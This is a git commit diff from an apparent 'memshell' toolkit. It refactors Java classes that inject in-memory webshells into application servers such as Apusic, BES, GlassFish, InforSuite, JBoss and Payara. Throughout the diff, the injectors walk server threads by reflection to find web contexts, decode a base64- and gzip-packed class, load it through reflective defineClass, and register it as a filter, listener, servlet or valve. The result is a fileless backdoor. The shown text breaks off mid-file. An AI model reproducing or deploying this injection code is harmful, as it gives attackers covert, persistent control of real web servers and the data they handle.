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refactor: simplify code

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This commit is contained in:
ReaJason
2024-12-28 00:52:28 +08:00
parent 87147d738a
commit 696814fd2c
91 changed files with 1233 additions and 1516 deletions
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memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicFilterInjector.java
+4 -10
View File
@@ -57,21 +57,19 @@ public class ApusicFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object filter) throws Exception {
@@ -115,7 +113,6 @@ public class ApusicFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -123,16 +120,13 @@ public class ApusicFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicListenerInjector.java
+2 -6
View File
@@ -99,7 +99,6 @@ public class ApusicListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -107,16 +106,13 @@ public class ApusicListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/apusic/injector/ApusicServletInjector.java
+4 -10
View File
@@ -56,18 +56,16 @@ public class ApusicServletInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = context.getClass().getClassLoader();
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
public void inject(Object context, Object servlet) throws Exception {
@@ -99,7 +97,6 @@ public class ApusicServletInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -107,16 +104,13 @@ public class ApusicServletInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java
+11 -23
View File
@@ -7,10 +7,7 @@ import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -50,17 +47,15 @@ public class BesFilterInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -70,21 +65,19 @@ public class BesFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
@@ -94,7 +87,6 @@ public class BesFilterInjector {
log.warning("filter already exists");
return;
}
System.out.println(context.getClass().getName());
Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance();
Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
@@ -133,7 +125,6 @@ public class BesFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -141,16 +132,13 @@ public class BesFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java
+10 -21
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -50,13 +47,11 @@ public class BesListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -66,21 +61,19 @@ public class BesListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -116,7 +109,6 @@ public class BesListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -124,16 +116,13 @@ public class BesListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java
+10 -21
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -46,13 +43,11 @@ public class BesValveInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -62,21 +57,19 @@ public class BesValveInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
@@ -119,7 +112,6 @@ public class BesValveInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -127,16 +119,13 @@ public class BesValveInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java
+11 -22
View File
@@ -6,10 +6,7 @@ import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -49,17 +46,15 @@ public class GlassFishFilterInjector {
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -69,21 +64,19 @@ public class GlassFishFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
@@ -131,7 +124,6 @@ public class GlassFishFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -139,16 +131,13 @@ public class GlassFishFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishListenerInjector.java
+14 -26
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
@@ -50,13 +47,11 @@ public class GlassFishListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -66,39 +61,32 @@ public class GlassFishListenerInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
public void inject(Object context, Object listener) throws Exception {
List<Object> eventListeners = (List<Object>) invokeMethod(context, "getApplicationEventListeners", null, null);
boolean isExist = false;
for (Object eventListener : eventListeners) {
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
isExist = true;
break;
log.warning("listener already exists");
return;
}
}
if (!isExist) {
log.info("listener added successfully");
eventListeners.add(listener);
} else {
log.warning("listener already exists");
}
eventListeners.add((EventListener) listener);
log.info("listener added successfully");
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishValveInjector.java
+22 -34
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -46,13 +43,11 @@ public class GlassFishValveInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -62,21 +57,31 @@ public class GlassFishValveInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) {
System.out.println("valve already injected");
return;
}
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
System.out.println("valve injected successfully");
}
@SuppressWarnings("all")
@@ -91,19 +96,6 @@ public class GlassFishValveInjector {
return false;
}
@SuppressWarnings("all")
public void inject(Object context, Object valve) throws Exception {
Object pipeline = invokeMethod(context, "getPipeline", null, null);
if (isInjected(pipeline)) {
System.out.println("valve already injected");
return;
}
Class valveClass;
String valveClassName = "org.apache.catalina.Valve";
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
@@ -121,7 +113,6 @@ public class GlassFishValveInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -129,16 +120,13 @@ public class GlassFishValveInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/inforsuite/injector/InforSuiteFilterInjector.java
+4 -10
View File
@@ -69,21 +69,19 @@ public class InforSuiteFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
@@ -137,7 +135,6 @@ public class InforSuiteFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -145,16 +142,13 @@ public class InforSuiteFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossFilterInjector.java
+17 -23
View File
@@ -7,6 +7,7 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
@@ -51,13 +52,11 @@ public class JbossFilterInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -67,35 +66,33 @@ public class JbossFilterInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
return Class.forName(getClassName(), false, classLoader).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
return clazz.newInstance();
}
return obj;
}
@SuppressWarnings("all")
public void inject(Object context, Object filter) throws Exception {
String filterClassName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter already injected");
return;
}
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
@@ -109,7 +106,8 @@ public class JbossFilterInjector {
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
filterConfigs.put(getClassName(), filterConfig);
System.out.println("filter injected successfully");
} catch (Exception e) {
// 多个应用部分应用通过上下文线程加载 filter 对象，可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
@@ -135,7 +133,6 @@ public class JbossFilterInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -143,16 +140,13 @@ public class JbossFilterInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossListenerInjector.java
+8 -17
View File
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.zip.GZIPInputStream;
@@ -47,13 +44,11 @@ public class JbossListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null && context.getClass().getName().contains("StandardContext")) {
contexts.add(context);
}
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
@@ -136,7 +131,6 @@ public class JbossListenerInjector {
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
@@ -144,16 +138,13 @@ public class JbossListenerInjector {
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
gzipInputStream.close();
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
memshell/src/main/java/com/reajason/javaweb/memshell/payara/injector/PayaraValveInjector.java → memshell/src/main/java/com/reajason/javaweb/memshell/jboss/injector/JbossValveInjector.java
+18 -23
View File
@@ -1,25 +1,23 @@
package com.reajason.javaweb.memshell.payara.injector;
package com.reajason.javaweb.memshell.jboss.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class PayaraValveInjector {
public class JbossValveInjector {
static {
new PayaraValveInjector();
new JbossValveInjector();
}
public PayaraValveInjector() {
public JbossValveInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
@@ -44,9 +42,13 @@ public class PayaraValveInjector {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
contexts.add(context);
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
for (Object context : children.values()) {
contexts.add(context);
}
}
}
}
@@ -55,21 +57,19 @@ public class PayaraValveInjector {
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
